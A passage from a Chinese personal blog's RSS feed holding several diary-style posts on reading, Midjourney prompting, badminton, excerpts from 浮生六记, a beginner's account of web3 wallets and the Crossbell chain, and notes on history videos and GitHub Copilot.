&lt;p&gt;人在泰国玩，但大部分时间会在车上、飞机上、床上，碎片化的时间刚好可以用来阅读。碰巧书友向我推荐了马亲王最近的一本新书《大医》，分上下两本，《大医·破晓》和《大医·日出》。如果要概括下内容，我觉得一句话足矣：从医生的视角看中国近代史&lt;/p&gt;
&lt;p&gt;首先确实佩服马亲王写历史小说的水平，主角团也是经典的三人团，2男一女，以及围绕在主角团周边的人物，他们或是以历史人物的身份登场，或是某一群人的代表。而且亲王特别喜欢埋伏笔，那伏笔埋的，真的是草蛇灰线，甚至每一小节的故事都可以当做一个侦探故事来推理揣摩。&lt;/p&gt;
&lt;p&gt;暂时还没写完这本书的随笔，等我后续发出来吧~&lt;/p&gt;
&lt;p&gt;Midjourney&lt;/p&gt;
&lt;p&gt;最近开始学习使用mj来画图，不能错过AIGC的大潮。&lt;/p&gt;
&lt;p&gt;先放几个自认为觉得还不错的AI作品：(虽然我并非肥宅，但是二次元的女性都好好看啊）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigxeskwfhbe7bf77jveb7k6rxt6gv33d2v5h7l7yxkeyswx6l33ai.png&quot; alt=&quot;Untitled 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiach3fm6n4sr42viucv4vjtcg7dycslablqschenpxsadeu3eboni.png&quot; alt=&quot;Untitled 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeicxo5kkxdlux5yydg6fvofofdl7xhyktjgjs4gydu735wqcfk75da.png&quot; alt=&quot;Untitled 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一些目前总结到的要点如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;尽量不要使用模糊的词语：我最开始用GPT4来帮忙辅助描述，结果文本中出现了诸如“优雅地漫步”，“郁郁葱葱的树木”这类字眼，AI很难理解的&lt;/li&gt;
&lt;li&gt;绘画风格：目前使用了比如“&lt;strong&gt;Japanese manga style&lt;/strong&gt;”(日漫风格），”&lt;strong&gt;Chinese ancient style&lt;/strong&gt;”(中国古典风格）,””&lt;/li&gt;
&lt;li&gt;绘画参数：网上的资料还挺多，mj有很多神奇的功能可以探索，如平铺，sketch风格，我先参考了这篇 &lt;a href=&quot;https://www.bilibili.com/read/cv22849901/&quot;&gt;Midjourney prompts 使用详解，命令、参数介绍 - 哔哩哔哩 (bilibili.com)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;控制角色一致性的办法：如果有中意的角色动作，则可以复制图像链接，并放到prompt最前面来实现。另还有seed微调、神奇的提示词等方法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;句子&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;要怎样对一粒尘埃解释风暴呢？即使那尘埃置身于大时代的烈风之中，也无法明白这撕裂一切的力量从何而来。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;—— 摘自《大医·破晓》&lt;/p&gt;
&lt;p&gt;纱窗外，斜风细雨，一阵轻寒&lt;/p&gt;
&lt;p&gt;—— 《八声甘州》&lt;/p&gt;
&lt;p&gt;interesting things&lt;/p&gt;
&lt;p&gt;最近也开始经营起自己的tg频道了，日常分享一些文章及经验，欢迎subscribe&lt;/p&gt;
&lt;p&gt;https://t.me/+4G9ohagz0iE1N2Q1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;https://www.bilibili.com/read/cv20992052
感觉是一套学习next.js 和 react 的非常棒的教程！&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;https://mp.weixin.qq.com/s/nyqVaXQOVlFcFWJOfPuOCQ
分析腾讯游戏的，目前从我狭隘的角度看，确实讲的很有道理&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;https://snappify.com/editor
原来这里可以生成代码的图片，太棒了&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;类似这样的风格&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidkx5rhz35ekbdxu3kgnds36fcqygnae56bqtk2qptfstcqikumia.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6246581310269273534-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报3 羽毛球、开源、阅读、游戏</title><link>https://rayepeng.net/posts/weekpost3/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost3/</guid><pubDate>Sat, 22 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报3 羽毛球、开源、阅读、游戏&lt;/p&gt;
&lt;p&gt;这里记录的是raye在2023年，4.14~4.20这段时间的经历与故事。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiavg2f5abdtcm4ojvknbe5z656mcdkvxtcayripdtdn25wb2o6klq.jpeg&quot; alt=&quot;001&quot; /&gt;&lt;/p&gt;
&lt;p&gt;封面图是AI画的&lt;/p&gt;
&lt;p&gt;因为会经常假装性忘记自己要坚持写周记的事情，劳形于工作之中，也习惯了去找很多的借口来逃避。但不管这些理由是多么冠冕堂皇，我总还是愿意去记录一些。也许是看到xlog上有越来越多的人关注自己会觉得很开心，抑或品读到一段优美的文字会忍不住想要去记录下来，然后希望更多的人能够在忙碌的生活中收获一点点宁静~&lt;/p&gt;
&lt;p&gt;羽毛球&lt;/p&gt;
&lt;p&gt;我的拍又双叒叕断线了，回忆起来这次可能还不到一个月，跟球友交流的时候他说自己用的是李宁N61的线+26磅，断线频率大概在两周一次。当他听到我用BG65的线+24磅一个月断一次也是很惊讶哈哈哈哈😂，可能真的是我打的频次太多了吧，拍线承受了太多。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihtokpnyert7t2wliocrqntoas3gr54btx7u6l4oh6qudwur5nv2y.jpeg&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不过最近一周打球的球感逐渐在上升，主要是指单打，毕竟单打双打是两个游戏。我因为没有上过教练课，野球打的多，很多姿势、技巧都是旁观或者被大佬虐出来的。这样子入门其实很容易导致姿势不对且打出去的球没感觉，不过随着我打的越来越多，我终于体会到，原来击球的时候球拍，球头是要在你的左侧前方的（我是左撇子）。怎么这么简单的知识我才明白！！&lt;/p&gt;
&lt;p&gt;自从意识到这一点之后，突然发现我的每个球，只要不是太被动，终于能回到一个比较高远的位置，杀球也变得更有力量了哈哈哈哈，而且随着体力逐渐变好，连续单打也不成问题（旗鼓相当的对手/doge)&lt;/p&gt;
&lt;p&gt;开源&lt;/p&gt;
&lt;p&gt;惭愧，最近一周以来，又没怎么逛GitHub，参与开源工作了。反思了下可能是以下几个原因&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;前两天睡眠一直不好，导致下班后经常没有精力&lt;/li&gt;
&lt;li&gt;太沉迷羽毛球了 /doge&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;阅读&lt;/p&gt;
&lt;p&gt;这一周看完了浮生六记 · 闺房记乐，且摘抄出了很多优美的文字，不过我还没来得及去一一品读完，暂且记录在这里：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://raye.xlog.app/fu-sheng-liu-ji--gui-fang-ji-le&quot;&gt;浮生六记——闺房记乐 - raye~ (xlog.app)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;游戏&lt;/p&gt;
&lt;p&gt;我的世界：传奇这部我期待很久的作品终于上线了，虽然看评测分数并不算高，但还是抱着想体验的态度去玩了玩，等我细细体验下来写写自己的感受&lt;/p&gt;
&lt;p&gt;AI画图&lt;/p&gt;
&lt;p&gt;虽然还一直没有去玩mj，不过看着同事们都在玩这个也是心有点痒痒，除了封面图之外，最近收集了几张我挺喜欢的图~&lt;/p&gt;
&lt;p&gt;虽然我不是肥宅，但是古风二次元的图也太好看了吧！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihxqdunu5hhedijw3srpwk7bfpd54dzsp7glyopz43p2oktwkbeyi.png&quot; alt=&quot;294231&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这张也好美，有一种红杏枝头春意闹的美感&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeic623ngli7uanvnioa6kiujjtgwhrvwgag4gnerrtx2wiszpve4ou.png&quot; alt=&quot;345696&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiev56bzbt56o3cp2sz35ekvbletkgiwbhht3kktzka3hqc37rbzbu.png&quot; alt=&quot;00021-1332181355&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这张简直可以直接用作游戏地图了哈哈哈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeibpzqdwzlg2ergnv6zwcavdc5ktse6jloxcobfmslpxhj6mhiefwq.png&quot; alt=&quot;00943-5445914342354-Looking down in an autumn dusk a young man in ancient costume riding a horse looked at the beautiful Chinese Tang Dynasty buila9d0883e1f15391bc61f5e21e84f3595954d1ea5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>浮生六记——闺房记乐</title><link>https://rayepeng.net/posts/fusheng/</link><guid isPermaLink="true">https://rayepeng.net/posts/fusheng/</guid><pubDate>Wed, 19 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;浮生六记——闺房记乐&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeifuhr64tmlwohqjoakbdxr6ialjwzhimxylrwhyruvyhfp2lt4jse.png&quot; alt=&quot;153814&quot; /&gt;&lt;/p&gt;
&lt;p&gt;封面图 via AI&lt;/p&gt;
&lt;p&gt;此文为浮生六记中我最喜欢的一些句子摘录及点评&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;告母曰：若为儿择妇，非淑姊不娶。母亦爱其柔和，即脱金约指缔姻焉。此乾隆乙末七月十六日也。&lt;/p&gt;
&lt;p&gt;时但见满室鲜衣，芸独通体素淡，仅新其鞋而已。见其绣制精巧，询为己作，始知其慧心不仅在笔墨也。其形削肩长项，瘦不露骨，眉弯目秀，顾盼神飞。惟两齿微露，似非佳相。一种缠绵之态，令人之意也消。&lt;/p&gt;
&lt;p&gt;—— &lt;strong&gt;那一刻我遇见了你，记得你当年初见的模样。不禁让人联想起渣男晏几道的词句，记得小频初见，两重心字罗衣&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;好羡慕沈三白，他写下这篇文章的时候居然还记得芸娘初见的摸样。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;恐芸之对人堕泪，而芸反强颜劝勉，代整行装，是晚但觉神色稍异而已。临行，向余小语曰：“无人调护，自去经心。”&lt;/p&gt;
&lt;p&gt;翻译：我本以为芸娘会因为我的离去而伤心落泪，可她却劝说我要勤勉努力，还细心体贴地帮我整理行装，我望着她忙碌的身影直到傍晚，才能察觉到那眼角中的一丝不舍和伤感
临走前，她凝视着我，眼角流露出那不易察觉的泪光，”你走之后，就再没人陪伴守护你了，你一定要细心打理爱护好自己呀“&lt;/p&gt;
&lt;p&gt;—— &lt;strong&gt;无人调护，自去经心。我很诧异，这短短八个字，竟似有千斤重的橄榄&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;及登舟解缆，正当桃李争妍之候，而余则恍同林鸟失群，天地异色&lt;/p&gt;
&lt;p&gt;—— &lt;strong&gt;不写情处，反倒最是深情&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;每当风生竹院，月上蕉窗，对景怀人，梦魂颠倒。&lt;/p&gt;
&lt;p&gt;—— &lt;strong&gt;同是对窗，王摩诘谓雨中山果，灯下草虫。归有光喜风移影动，珊珊可爱。三白梦月上蕉窗，闺中佳人&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;因暑罢绣，终日伴余课书论古，品月评花而已。芸不善饮，强之可三杯，教以射覆为令。自以为人间之乐，无过于此矣&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;芸曰：“格律谨严，词旨老当，诚杜所独擅。但李诗宛如姑射仙子，有一种落花流水之趣，令人可爱。非杜亚于李，不过妾之私心宗杜心浅，爱李心深。”&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;余曰：“前言戏之耳。”
芸曰：“世间反目多由戏起，后勿冤妾，令人郁死！”&lt;/p&gt;
&lt;p&gt;—— &lt;strong&gt;你再作，再作我就不要你了怕不怕&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;但见隔岸萤光，明灭万点，梳织于柳堤蓼渚间。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;余曰：“恐卿鬓斑之日，步履已艰。”芸曰：“今世不能，期以来世。”余曰：“来世卿当作男，我为女子相从。”芸曰：“必得不昧今生，方觉有情趣。”&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;“他生未卜此生休”，两人痴情，果邀神鉴耶？&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;时方七月，绿树阴浓，水面风来，蝉鸣聒耳。邻老又为制鱼竿，与芸垂钓于柳阴深处。日落时，登土山，观晚霞夕照，随意联吟，有“兽云吞落日，弓月弹流星”之句。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;芸揽镜自照，狂笑不已。余强挽之，悄然径去，遍游庙中，无识出为女子者&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;余登岸拜奠毕，归视舟中洞然，急询舟子&lt;/p&gt;
&lt;p&gt;—— &lt;strong&gt;一个急，跃然纸上&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;于是相挽登舟，返棹至万年桥下，阳乌犹未落山。舟窗尽落，清风徐来，纨扇罗衫，剖瓜解暑。少焉，霞映桥红，烟笼柳暗，银蟾欲上，渔火满江矣。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;余曰：“鹤善舞而不能耕，牛善耕而不能舞，物性然也，先生欲反而教之，无乃劳乎？”素云笑捶余肩曰：“汝骂我耶！&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;芸笑挽素云置余怀，曰：“请君摸索畅怀。”余笑曰：“卿非解人，摸索在有意无意间耳，拥而狂探，田舍郎之所为也。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;时余寄居友人鲁半舫家萧爽楼中。越数日，鲁夫人误有所闻，私告芸曰：“前日闻若婿挟两妓饮于万年桥舟中，子知之否？”芸曰：“有之，其一即我也。”因以偕游始末详告之，鲁大笑，释然而去。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;芸独爱千顷云高旷，坐赏良久&lt;/p&gt;
&lt;p&gt;—— &lt;strong&gt;其中总有千种含义，令人回味&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeidykchw6avkteqwixzghzp2ln3g5mv3vwhi66ojo7wbtg7z7pqayu.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>区块链、智能合约、以太坊</title><link>https://rayepeng.net/posts/qukuailian/</link><guid isPermaLink="true">https://rayepeng.net/posts/qukuailian/</guid><pubDate>Sat, 15 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;区块链、智能合约、以太坊&lt;/p&gt;
&lt;p&gt;旧文重写了下~&lt;/p&gt;
&lt;p&gt;web3初体验&lt;/p&gt;
&lt;p&gt;今天有空来了解下这些web3相关的名词，起因是接触到了xlog.app这个web3的网站，在metamask小狐狸上创建了自己的钱包，并且发布了第一篇文章，也就是做了第一笔交易&lt;/p&gt;
&lt;p&gt;由于是头一次接触web3，因为觉得年前对于这些概念炒的太火了，导致我对这些东西一直很排斥，不过现在终于有一个可以体验的平台了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreibci6cgmxjg6au7vjtx5mq2zi43ympuh6oglv5nqd264u3juiqtwi.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这是我的钱包公钥地址，欢迎转账👏🏻&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x52a3Bff5da58A26E496981f2979138Fe6F6E8C97
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当我写一篇博客的时候，经过了一系列我不懂的环节，不过我马上意识到这本质上就是在区块链上完成了一笔交易&lt;/p&gt;
&lt;p&gt;既然有交易，就有几个角色&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;发起交易方，也就是我，下图中可以看到 &lt;code&gt;From&lt;/code&gt; 字段&lt;/li&gt;
&lt;li&gt;交易对象，也就是 &lt;code&gt;Web3Entry&lt;/code&gt; ，估计是xlog的账户吧？&lt;/li&gt;
&lt;li&gt;交易费用，也就是支付给矿工的费用（因为矿工要帮忙验证和处理这一笔交易）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;交易费用怎么计算呢？很简单，工作量 * 单价，单价一般用 Gwei 表示，记住就好了&lt;/p&gt;
&lt;p&gt;从下图的交易详情可以看到这次的交易费用为0.000138659CSB （可以理解为类似CNY一样的符号）&lt;/p&gt;
&lt;p&gt;这是交易的详情：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifiqzhv5o6hxfvbk66jbupyvlmulmgrvp7vdqymwpagwd7uvpdbby.png&quot; alt=&quot;Untitled 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://scan.crossbell.io/tx/0x749c064da6f86d5d265422884475f78ec84b302bbdf9ab68577ddd6e70e2f222&quot;&gt;https://scan.crossbell.io/tx/0x749c064da6f86d5d265422884475f78ec84b302bbdf9ab68577ddd6e70e2f222&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里可以看到对应的矿工是谁，感谢他帮我签名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiho4cypob2dsihmjn5v3slrbt6ov5vwsntqcuhctpewnap2tuosw4.png&quot; alt=&quot;Untitled 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此处是智能合约调用，具体我们会在后面说：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreibt27cdtn2lrdgfl4gnluxewjwc6cylgqoi5igqkda6ytlle3aufu.png&quot; alt=&quot;Untitled 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;未曾接触过区块链的萌新看到这些奇奇怪怪的名词都是懵的，这里就开始慢慢研究&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreialgs3nsj5cxe5crdjs2aep5qefmo4pjyljqot5cticbop7pcryze.png&quot; alt=&quot;Untitled 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重新认识钱包&lt;/p&gt;
&lt;p&gt;钱包的概念其实是在不断进化的，比如我小时候知道钱包，就是指物理上那个小包包，用来装私房钱的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihk4bipxaby3uaa2jft4itgjinsxxpbmn2yhig3b5vvq4mzse3zeu.png&quot; alt=&quot;Untitled 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;长大一点，开始有了银行账户，这也是我的钱包，只是每一笔交易我都要去银行，或者自助柜台机办理。这种钱包，介于虚拟（电子账户）和物理（还是摸得到钱）之间。&lt;/p&gt;
&lt;p&gt;后来开始有微信、QQ，网上银行，扫码支付，线上转账开始普及。这时候的钱包，已经逐渐脱离了物理上的概念，转账、支付都是数字上的变化&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifipriyju4iaixkqlwzll6hmnh36jx64vxajhvhkzgeml5hsyq6ui.png&quot; alt=&quot;Untitled 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;区块链的钱包又是怎么回事呢？区块链钱包本质上并没有存钱，相反，它像一个守护神，帮助你保管一对神秘的密钥：公钥和私钥。公钥就像你的邮箱地址，你可以放心地告诉别人，让他们给你发送数字货币。而私钥则是你的专属密码，它让你能够随时随地访问并支配你的数字财富。&lt;/p&gt;
&lt;p&gt;你可能会问，这不就意味着我有多少钱是公开的事情吗。确实如此，但是钱包地址和用户的真实身份是没有直接联系的。也就是说，你可以看到某个地址有多少钱，但是你不知道这个地址属于谁。&lt;/p&gt;
&lt;p&gt;如果你把公钥告诉了别人，那确实可以看到你的所有交易记录，比如你现在就可以看我的交易记录：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://scan.crossbell.io/address/0x52a3Bff5da58A26E496981f2979138Fe6F6E8C97&quot;&gt;0x52a3Bff5da58A26E496981f2979138Fe6F6E8C97 - Crossbell Explorer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;看完是不是一脸懵逼，你知道我做了啥吗 /doge&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreignxdachyqesmvuv5lbbdgea7yxcehmzwd3d7qsxax5wjjlfzlqzm.png&quot; alt=&quot;Untitled 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;背后其实就是博客发表、评论、点赞之类的记录，不过看到了也就看到了，没啥关系 /doge&lt;/p&gt;
&lt;p&gt;当然会有些技术比如零知识证明来保障钱包的隐私性，这是后话不谈&lt;/p&gt;
&lt;p&gt;如果你想在xlog上发表文章，则首先需要创建一个钱包，这里我们就用MetaMask小狐狸钱包，它以浏览器插件的形式存在，手机上也可以下载对应的app&lt;/p&gt;
&lt;p&gt;初次创建只会给你一个公私钥对，私钥不会直接给你，而是给你一串英文助记词，这是日后恢复账号的重要手段（或者说唯一）&lt;/p&gt;
&lt;p&gt;有了钱包，然后呢？&lt;/p&gt;
&lt;p&gt;有了钱包之后，自然就能执行各种与钱相关的操作了&lt;/p&gt;
&lt;p&gt;比如领钱&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreifwgutrndnxizhww7vdbbwdwk4evemmktbpsmcvyhlkhehvrsh4hi.png&quot; alt=&quot;Untitled 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;只需复制你的账户地址，就可以去 Crossbell 的水龙头上领到 CSB 代币了，是不是很良心！&lt;/p&gt;
&lt;p&gt;虽然只能领0.02 CSB，不过你看我前面发布一篇文章才 0.000138659CSB，就知道这是笔巨款了&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://faucet.crossbell.io/&quot;&gt;Crossbell Faucet&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreieloechvdqdk3bu325skk6rlvlalfd3eewc7fbkgwhpje5frkm6iq.png&quot; alt=&quot;Untitled 9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;领取完之后，就可以你的账户在 Crossbell Chain 上的余额，交易情况，后续你在xlog的每一次文章发表，点赞，评论都会被视作一次交易存储在 Crossbel Chain 上&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreigpic7vygelv2kwhpo2mjmyotugc2bndrip3qj4gi7erfhpgseviu.png&quot; alt=&quot;Untitled 10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;比如点赞，等于发起了一笔交易，需要签名并记录下来，发表文章则需要会提示你消耗CSB&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreigvklm4ggb3ayazzyfcugdakobs2kb226qammootfw6j4owrl3a3y.png&quot; alt=&quot;Untitled 11&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我的文章内容存储在哪呢？&lt;/p&gt;
&lt;p&gt;xlog使用了ipfs技术来存储，ipfs类似bt，不过更先进&lt;/p&gt;
&lt;p&gt;我们都知道bt下载的人越多，下载速度越快，这其实就有点分布式存储的概念了，ipfs则完全是分布式的，如果离你最近的电脑有你需要的资源，那就直接通过ipfs传输给你了，不再需要去中心服务器（比如万恶的百度云）去查&lt;/p&gt;
&lt;p&gt;如下就是ipfs的地址啦，点下就能查看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiharhu32pybdikthl35budp73kyi5reyl4qv43bxykeabttr4ljbi.png&quot; alt=&quot;Untitled 12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;小结&lt;/p&gt;
&lt;p&gt;其实整个web3的流程上手体验起来会觉得没啥阻碍，反倒是看着web3的一些概念会觉得头晕眼花，完全不知所云&lt;/p&gt;
&lt;p&gt;小结&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;钱包其实是不断进化的，区块链钱包的实现方式和普通钱包不太一样，通过公私钥对来记录信息&lt;/li&gt;
&lt;li&gt;既然都是钱包，那就和普通钱包一样可以管理资产&lt;/li&gt;
&lt;li&gt;区块链钱包还可以和不同的链进行交互，可以理解为和不同的国家银行交互（毕竟币种不同）&lt;/li&gt;
&lt;li&gt;在web3上发表文章就是一笔交易，会被记录到链上，拥有你的签名，后面我们会看到本质上就是对智能合约的调用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;参考&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://wuzhi.xlog.app/zai-qu-kuai-lian-shang-da-jian-ge-bo-ke-zhan--yong-jiu-mian-fei-jian-dan-an-quan-&quot;&gt;在区块链上搭建个博客站，永久 免费 简单 安全！ - 无知便是罪 (xlog.app)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://oppenaieth-3787.xlog.app/NotionXLog&quot;&gt;Notion+XLog双保险自己的Blog - oppenai.eth&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://serenity.xlog.app/web3-from-zero&quot;&gt;从此开始 Web3 生活 - xcode.eth (xlog.app)&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>开源、历史、Copilot(4.10~4.15)</title><link>https://rayepeng.net/posts/%E5%BC%80%E6%BA%90%E5%8E%86%E5%8F%B2copilot410415/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%BC%80%E6%BA%90%E5%8E%86%E5%8F%B2copilot410415/</guid><pubDate>Sat, 15 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;开源、历史、Copilot(4.10~4.15)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeibxdsx4ko2ined5stcjoepinehviati6xmkx5u4hpwgknufj2dqgy.png&quot; alt=&quot;220541&quot; /&gt;&lt;/p&gt;
&lt;p&gt;封面图 via AI&lt;/p&gt;
&lt;p&gt;4.10~4.13 中间间隔了4天，而不是3天&lt;/p&gt;
&lt;p&gt;这个算法似乎直到我高中的时候才明白，我以前一直是一个对数字极度缺乏敏感的人，导致我对于简单的加减乘除算的特别慢&lt;/p&gt;
&lt;p&gt;开源&lt;/p&gt;
&lt;p&gt;想添加一个seebug爬虫，但是无奈写了半天还是没能完全成功，主要是多个goroutine爬的时候会报错。。等我想办法解决下&lt;/p&gt;
&lt;p&gt;文章&lt;/p&gt;
&lt;p&gt;终于完成了一篇socks5的文章，并且分别实现了golang和rust的socks5简易代理&lt;/p&gt;
&lt;p&gt;https://raye.xlog.app/socks5-xie-yi-yuan-li-fen-xi-ji-shi-xian-dui-bi&lt;/p&gt;
&lt;p&gt;历史&lt;/p&gt;
&lt;p&gt;最近的一周，一直在看渤海小吏的视频，从楚汉双雄到三国争霸，从刀光剑影到权利斗争，从武圣惜败到丞相迟暮。&lt;/p&gt;
&lt;p&gt;渤海小吏对历史的较真分析，对史官的春秋笔法、草蛇灰线做了细致的对比，去伪存真。真的改变了我一直以来的历史观。&lt;/p&gt;
&lt;p&gt;在这之前，我从来都是把历史当小说看待的，其惊心动魄、波澜起伏的情节吊打一众网文。&lt;/p&gt;
&lt;p&gt;在这之后，我终于渐渐懂得了，一起历史其实都是当代史，真的。&lt;/p&gt;
&lt;p&gt;譬如曹操年轻时放浪形骸为何终成霸业，其实家室背景真的占了很大的比重，有一个在朝中当官，能帮忙擦屁股的老爹确实很重要 /doge&lt;/p&gt;
&lt;p&gt;不过这也只能是一方面，为何袁绍最终在官渡败北呢？不是因为他蠢，只是因为关键时刻，他没能再一次复刻当初面临公孙瓒时的豪情壮志了，人家曹老板知道自己偷袭乌桓不成功的后果只能是死，可他袁绍没意识到，攻守之势异也。&lt;/p&gt;
&lt;p&gt;譬如邓艾偷渡阴平为什么能成功，其本质还是刘备当时得益州不正，加之丞相离世，再也无人能真正地调和蜀汉三股势力的矛盾。邓艾偷渡阴平就剩了一万人不到，还都是破破烂烂，饥肠辘辘（翻越那么远的山路），这一群叫花子要是真能攻下一座城池就见鬼了&lt;/p&gt;
&lt;p&gt;所以很多时候我们真得心怀敬畏，不要以为自己得意了，就忘形了。时刻提醒自己，你不是那块料，慢慢来&lt;/p&gt;
&lt;p&gt;GitHub Copilot&lt;/p&gt;
&lt;p&gt;还是抱着好奇心开通了Github Copilot ，支持paypal就挺舒服的&lt;/p&gt;
&lt;p&gt;用起来感觉还行，减少了我从chatGPT复制粘贴代码的时间 /doge&lt;/p&gt;
&lt;p&gt;不过很多bug解决不了，用express实现一个 redis CRUD的功能，代码跑起来一直报错，调试了半天才解决&lt;/p&gt;
</content:encoded></item><item><title>socks5协议原理分析及实现对比</title><link>https://rayepeng.net/posts/socks5/</link><guid isPermaLink="true">https://rayepeng.net/posts/socks5/</guid><pubDate>Mon, 10 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;socks5协议原理分析及实现对比&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmQYVJ5LrzJoGnb91Ch5vV5PWCWcFDiWP4nAFjB2HfPXUu.png&quot; alt=&quot;scoks5xieyi&quot; /&gt;&lt;/p&gt;
&lt;p&gt;socks5隧道原理&lt;/p&gt;
